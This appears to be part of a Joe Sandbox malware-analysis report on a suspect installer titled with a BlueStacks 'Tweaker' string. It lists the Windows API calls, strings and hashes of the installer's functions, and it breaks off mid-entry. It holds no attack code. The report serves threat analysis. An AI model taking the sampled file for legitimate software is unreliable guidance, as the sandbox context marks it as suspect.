Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 315e157356e8942ef3b8d7e2082c61631171d9164c942d8812de0ab912510814
Instruction ID: 218003202f2b1835e3bff4e9bf146b8b4f872d9b8cc4e3003fd48478f7f9154f
Opcode Fuzzy Hash: 315e157356e8942ef3b8d7e2082c61631171d9164c942d8812de0ab912510814
Instruction Fuzzy Hash: 09A002755051049BCA519B54DE048057A62A754701741C479B24551575C7315461EB6E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404853 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 0040486A
GetDlgItem.USER32(?,00000408), ref: 00404877
GlobalAlloc.KERNEL32(00000040,00000001), ref: 004048C3
LoadBitmapA.USER32(0000006E), ref: 004048D6
SetWindowLongA.USER32(?,000000FC,00404E54), ref: 004048F0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404904
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404918
SendMessageA.USER32(?,00001109,00000002), ref: 0040492D
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404939
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 0040494B
DeleteObject.GDI32(?), ref: 00404950
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 0040497B
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404987
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A1C
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404A47
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A5B
GetWindowLongA.USER32(?,000000F0), ref: 00404A8A
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404A98
ShowWindow.USER32(?,00000005), ref: 00404AA9
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404BAC
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404C11
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404C26
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404C4A
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404C70
ImageList_Destroy.COMCTL32(00000000), ref: 00404C85
GlobalFree.KERNEL32(00000000), ref: 00404C95
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404D05
SendMessageA.USER32(?,00001102,00000410,?), ref: 00404DAE
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404DBD
InvalidateRect.USER32(?,00000000,00000001), ref: 00404DDD
ShowWindow.USER32(?,00000000), ref: 00404E2B
GetDlgItem.USER32(?,000003FE), ref: 00404E36
ShowWindow.USER32(00000000), ref: 00404E3D

Strings

N, xrefs: 00404AE7
M, xrefs: 00404A03
, xrefs: 00404E15

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: dede86c728acf6a11cc3ab5fbc78af527f28fbd96654b5baab0c469e43695f01
Instruction ID: 91af9d563adbb526dddc39620d8b288a2aea1bcbb5731436b9e02a5cfbe7d22d
Opcode Fuzzy Hash: dede86c728acf6a11cc3ab5fbc78af527f28fbd96654b5baab0c469e43695f01
Instruction Fuzzy Hash: AB029FB0E00209AFDB21DF54DD45AAE7BB5FB84315F10817AF610BA2E1C7799A42CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404356 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 266stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004043A2
SetWindowTextA.USER32(?,?), ref: 004043CF
SHBrowseForFolderA.SHELL32(?,0041F870,?), ref: 00404484
CoTaskMemFree.OLE32(00000000), ref: 0040448F
lstrcmpiA.KERNEL32(00422E40,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe ), ref: 004044C1
lstrcatA.KERNEL32(?,00422E40), ref: 004044CD
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044DD

Part of subcall function 0040540B: GetDlgItemTextA.USER32(?,?,00000400,00404510), ref: 0040541E

Part of subcall function 00405DC8: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
Part of subcall function 00405DC8: CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
Part of subcall function 00405DC8: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
Part of subcall function 00405DC8: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

GetDiskFreeSpaceA.KERNEL32(0041F468,?,?,0000040F,?,0041F468,0041F468,?,00000000,0041F468,?,?,000003FB,?), ref: 00404596
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004045B1
SetDlgItemTextA.USER32(00000000,00000400,0041F458), ref: 0040462A

Strings

A, xrefs: 0040447D
BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe , xrefs: 00404457, 004044BA
@.B, xrefs: 004044BB

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: @.B$A$BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe
API String ID: 2246997448-4128119478
Opcode ID: 6525314df4a180c9e7b66623ed26d8b7b6bbf618626a18de822d55977fdbc2f3
Instruction ID: fa341535892c43c3a67d7fcafb17cb6574160925603278dae289bcadb551eaae
Opcode Fuzzy Hash: 6525314df4a180c9e7b66623ed26d8b7b6bbf618626a18de822d55977fdbc2f3
Instruction Fuzzy Hash: 2D9170B1900218BBDB11AFA1CD84AAF7BB8EF45314F10847BF704B6291D77C9A41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00405B88 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 197stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,Completed,00000000,00404F3C,Completed,00000000), ref: 00405C30
GetSystemDirectoryA.KERNEL32(00422E40,00000400), ref: 00405CAB
GetWindowsDirectoryA.KERNEL32(00422E40,00000400), ref: 00405CBE
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00405CFA
SHGetPathFromIDListA.SHELL32(00000000,00422E40), ref: 00405D08
CoTaskMemFree.OLE32(00000000), ref: 00405D13
lstrcatA.KERNEL32(00422E40,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D35
lstrlenA.KERNEL32(00422E40,00000000,Completed,00000000,00404F3C,Completed,00000000), ref: 00405D87

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D2F
@.B, xrefs: 00405D91
@.B, xrefs: 00405BB1
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405C7A
Completed, xrefs: 00405BB9

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: @.B$@.B$Completed$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1438857395
Opcode ID: 855ce943f005fc76d33ba75c1c33b75b466f9e158227b928842345586457093f
Instruction ID: 2bb53c71d9fe9ef1e56bc14ab20fd8486271744d1d3ead2cb2ad614034e11287
Opcode Fuzzy Hash: 855ce943f005fc76d33ba75c1c33b75b466f9e158227b928842345586457093f
Instruction Fuzzy Hash: D7510131A04A04AAEF205F64DC88B7B3BA4DF55324F14823BE911B62D0D33C59829E4E

Uniqueness

Uniqueness Score: -1.00%

Function 00402020 Relevance: 3.1, APIs: 2, Instructions: 134comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402073
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409368,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040212D

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 20f8b56c3263d051d76756f701b26ac218ff209cd135641c8178b13e20f06e8d
Instruction ID: 0b92ce9401c32f92a97655b67b17bc3e2e7042a2ba93bb40bff56c30807ccd12
Opcode Fuzzy Hash: 20f8b56c3263d051d76756f701b26ac218ff209cd135641c8178b13e20f06e8d
Instruction Fuzzy Hash: 94418E75A00205BFCB40DFA4CD88E9E7BBABF48354B204269FA15FB2D1CA799D41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040264D

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: fec3e59c21f88b2afe0d858e3cd58f666a30441cfee8bf2827fa80150cba7d73
Instruction ID: b3d2387cb92b068db8966d6a1439c3c253679041c8135bb289436d91baf53d0e
Opcode Fuzzy Hash: fec3e59c21f88b2afe0d858e3cd58f666a30441cfee8bf2827fa80150cba7d73
Instruction Fuzzy Hash: 42F0A072A04201DBD700EBB49A89AEEB7789B51328F60067BE111F20C1C6B85A459B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe, xrefs: 00401150

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe$F
API String ID: 941294808-254831488
Opcode ID: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
Instruction ID: 81477e3a2fde3fb3f26aa953fc06e347994717d76cab2c79682594c458f31f57
Opcode Fuzzy Hash: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
Instruction Fuzzy Hash: 8141BC71804249AFCB058FA4CD459BFBFB9FF44314F00802AF551AA1A0C378EA54DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004058B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144filememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000001,?,00000000,?,?,00405649,?,00000000,000000F1,?), ref: 00405901
GetShortPathNameA.KERNEL32(?,00422630,00000400), ref: 0040590A
GetShortPathNameA.KERNEL32(00000000,004220A8,00000400), ref: 00405927
wsprintfA.USER32 ref: 00405945
GetFileSize.KERNEL32(00000000,00000000,004220A8,C0000000,00000004,004220A8,?,?,?,00000000,000000F1,?), ref: 00405980
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 0040598F
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 004059A5
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421CA8,00000000,-0000000A,00409350,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004059EB
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 004059FD
GlobalFree.KERNEL32(00000000), ref: 00405A04
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405A0B

Part of subcall function 004057B2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057B9
Part of subcall function 004057B2: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057E9

Strings

[Rename], xrefs: 004059B5, 004059C7
%s=%s, xrefs: 0040593B
0&B, xrefs: 004058EF

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeLibraryLoadModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$0&B$[Rename]
API String ID: 3772915668-951905037
Opcode ID: 0c179fa3417d280b53e5d95a4378c92fb06f2b6e7dc6de3d5fc3f6893b1dd3a2
Instruction ID: 8912a0e40cac8f66f34925055924fb713260e7a12edb00ecfb1cfbef244c1689
Opcode Fuzzy Hash: 0c179fa3417d280b53e5d95a4378c92fb06f2b6e7dc6de3d5fc3f6893b1dd3a2
Instruction Fuzzy Hash: D9411332B05B11BBD3216B61AD88F6B3A5CDB84715F140136FE05F22C2E678A801CEBD

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC8 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

Strings

*?|<>/":, xrefs: 00405E10
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DC9, 00405E04
"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe", xrefs: 00405DCE

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-551717184
Opcode ID: d60fa47d96b079028a76cfcdb2d30976ede71f36b1f4f1e1bc9c50cb25bd2be5
Instruction ID: 3b6179abbfe29fc78842bf11aa846075366cc437f950451d76d565b88bc2b460
Opcode Fuzzy Hash: d60fa47d96b079028a76cfcdb2d30976ede71f36b1f4f1e1bc9c50cb25bd2be5
Instruction Fuzzy Hash: A0110861805B9129EB3227284C48BBB7F89CF66754F18447FD8C4722C2C67C5D429FAD

Uniqueness

Uniqueness Score: -1.00%

Function 00403F7F Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F9C
GetSysColor.USER32(00000000), ref: 00403FB8
SetTextColor.GDI32(?,00000000), ref: 00403FC4
SetBkMode.GDI32(?,?), ref: 00403FD0
GetSysColor.USER32(?), ref: 00403FE3
SetBkColor.GDI32(?,?), ref: 00403FF3
DeleteObject.GDI32(?), ref: 0040400D
CreateBrushIndirect.GDI32(?), ref: 00404017

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction ID: 4cc26f8bf5fc777f430f8318c3ba194748f169832e683f7fcd21add738ba3f9d
Opcode Fuzzy Hash: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
Instruction Fuzzy Hash: C221C371904705ABCB209F78DD08B4BBBF8AF40711F048A29F992F26E0C738E904CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040267C Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,0000B600,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D0
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026EC
GlobalFree.KERNEL32(?), ref: 00402725
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402737
GlobalFree.KERNEL32(00000000), ref: 0040273E
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402756
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040276A

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: b8defe13902d58a52973a2e3f60156d7c1400e5746f24ef4cd0721e59596b3c4
Instruction ID: 719c612f4f238206e278f6e296a81204df483451b361404a9b6a09c3536a307a
Opcode Fuzzy Hash: b8defe13902d58a52973a2e3f60156d7c1400e5746f24ef4cd0721e59596b3c4
Instruction Fuzzy Hash: F831AD71C00128BBDF216FA4CD89DAE7E79EF08364F10423AF920772E0C6795D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402BD3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402BEB
GetTickCount.KERNEL32 ref: 00402C09
wsprintfA.USER32 ref: 00402C37

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

CreateDialogParamA.USER32(0000006F,00000000,00402B3B,00000000), ref: 00402C5B
ShowWindow.USER32(00000000,00000005), ref: 00402C69

Part of subcall function 00402BB7: MulDiv.KERNEL32(003645CF,00000064,00365EC6), ref: 00402BCC

Strings

... %d%%, xrefs: 00402C31

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 17bdaf27663d9d1b2b81c0b918eaf4f945a095ba4556a5c22c1c6286d7ec1668
Instruction ID: c44cf6bb529b7c61e0c77009ed50883557557090b8ffabf6f859222ef57aaf40
Opcode Fuzzy Hash: 17bdaf27663d9d1b2b81c0b918eaf4f945a095ba4556a5c22c1c6286d7ec1668
